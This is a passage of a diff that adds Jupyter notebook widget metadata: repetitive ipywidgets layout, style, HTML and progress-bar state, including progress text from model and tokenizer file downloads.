+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "942ace43ed1d48aeafc6c5e17f14e034": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "944390d866cf430fbd562fca7781a9d9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ef977ff25ba842c9a0475befc7b47b89",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c8da6be1960c4f89a18d49205cbaa0df",
+            "value": " 20/20 [00:27&lt;00:00,  1.24s/it]"
+          }
+        },
+        "948f2f29870b4ee7974ddad6ba18397d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "94cc8073f13f45b085e1f23d3d4bbbc9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "94fba57a53d04861ab5a889193d27f83": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "955af4f359254125801ec776793397e7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8c0d69533b674629b69a64345fc4d67e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f2241131e8d54c1f9e8976b94b46bc67",
+            "value": "100%"
+          }
+        },
+        "962917ac2b044e5989e88100ceb45296": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "965fb38eae6a45678d87fc3e24eb5241": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "97348ede0e464090845a56a64a53e493": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "97570891602f4963bdfaacd309438ca7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_93d2d9e917d84072ae401952c12904bf",
+            "placeholder": "​",
+            "style": "IPY_MODEL_636973b7927b44bbaac28737227e7599",
+            "value": " 154M/154M [00:01&lt;00:00, 97.5MB/s]"
+          }
+        },
+        "978a0bae9c5f4ab7ac45f1f4f870fef0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "978ecf658d464bc999bc8a5c540e3ad0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f0a064bb91524f01972e941a3bd7354d",
+            "max": 327701893,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7efd39ed94f94ecd9292069da0697a5f",
+            "value": 327701893
+          }
+        },
+        "97dcb5d933594743aea62d09aa27d30d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "97dfae674a3b415d9015760abea61968": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a0f1a81a8d8f4e05a26d7a0a61565c53",
+            "max": 13,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7f36f3521fa14a37b0fad0702bf9a4e3",
+            "value": 13
+          }
+        },
+        "97ffad3c1b6e4c9c9621966c028c12aa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_eb72384f0e50444d9db03c12aca4b899",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e7ddc52526db41e4907a2ede8dcef7c7",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "993b867eff394cfe843eb18ee194b8d6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "99836b0d3c5241f99260cd642081c31f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9998dc803aec438ab2bbdcb1edb8ab4e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_713f6c4e65a5418481d59fb756bd043c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_365b7759e93949dd891bacc424e797f3",
+            "value": " 920/920 [00:00&lt;00:00, 31.2kB/s]"
+          }
+        },
+        "99b1e953ca924df2b6bfb0f9780d2e21": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8477b0d8ae344f78ba17f537e0e2448f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_911cafa406d2409f8ac69d9c9ae0dd94",
+            "value": "Downloading (…)okenizer_config.json: 100%"
+          }
+        },
+        "99c6d5162b2d41b6b3d260f4b2c99b9b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9a3d9f15c9b8495498d8910dc60d9fc0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_aec13914c37649feb868b8f531a07a83",
+              "IPY_MODEL_4b4b8aee32724ff5b0a40f9af956fe72",
+              "IPY_MODEL_b3967f91f621495cb1715427fcc57011"
+            ],
+            "layout": "IPY_MODEL_d5b65c5e85704b02be5a0fa2ab7569fa"
+          }
+        },
+        "9a46a59ffb8d44c89b067519101f7a74": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9a540d6ed00a424da320fd7a12c31ac5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d44b6d406224497d9db5c903c6972323",
+            "placeholder": "​",
+            "style": "IPY_MODEL_d3010a25994f4f12b95922f2863f4f3b",
+            "value": " 1.45G/1.45G [01:27&lt;00:00, 14.8MB/s]"
+          }
+        },
+        "9a56fa1ecaee4be3954540e95a7c8990": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_07ad70da82f04e6c8fc64ba90f114d04",
+              "IPY_MODEL_b09e0313ea6d461e99ee9e2778639310",
+              "IPY_MODEL_df65632706474b4d903b8f6f72438166"
+            ],
+            "layout": "IPY_MODEL_7035d48a0c874fe7b7bd20c6b03bdf85"
+          }
+        },
+        "9b27785afb0243f5b2298cb272c510e2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9b78deeeaec149339134750de6ba1fcf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_a207168326fd45159d8eec29ea91ccac",
+              "IPY_MODEL_425d719b752b4a1480f8c3f8b9388e50",
+              "IPY_MODEL_8baeb11dd15840e691eadde3f79bf4f2"
+            ],
+            "layout": "IPY_MODEL_6b872da2a0944f5da6eb68792937311b"
+          }
+        },
+        "9ba3483798e8439aab7d5560c1a5bac1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_60ebb0e8c1174c839a26182b38d4ae9b",
+            "placeholder": "​",
+            "style": "IPY_MODEL_f3be39d3186448afb9d851b9732df52b",
+            "value": " 8.76k/8.76k [00:00&lt;00:00, 576kB/s]"
+          }
+        },
+        "9cc4d939cc454a0da5eb7bdd234f69b5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9d1f8ee81b994f94882d776f6e401f02": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9d2061e3643940f496528dc7ad6e6e2e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9dc6d26cdb7945ffb31b2c381412a383": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9dcbc2386e3c4d6e820fd6baed91f0df": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a1ed5abc44e94c1ea19fa959fc95b91a",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7669fb4960904becb83cbdc4169a121b",
+            "value": 20
+          }
+        },
+        "9e9bd7cc85b04308b20943578ad51fa7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_743a58e2430947808aac30953973ec71",
+              "IPY_MODEL_600acc1527c4482fb7307f2d423a0a01",
+              "IPY_MODEL_84f1832335f44d73b6a1a588f0e79a11"
+            ],
+            "layout": "IPY_MODEL_03264d2988b849369f26e62a0a010d51"
+          }
+        },
+        "9eda2eb5008b4f2d8269523ee5ce2ffe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9ee7a0fe9750457abaf427983e5866fe": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9ef7b0ea4e4e46b18953056deaa6cf95": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
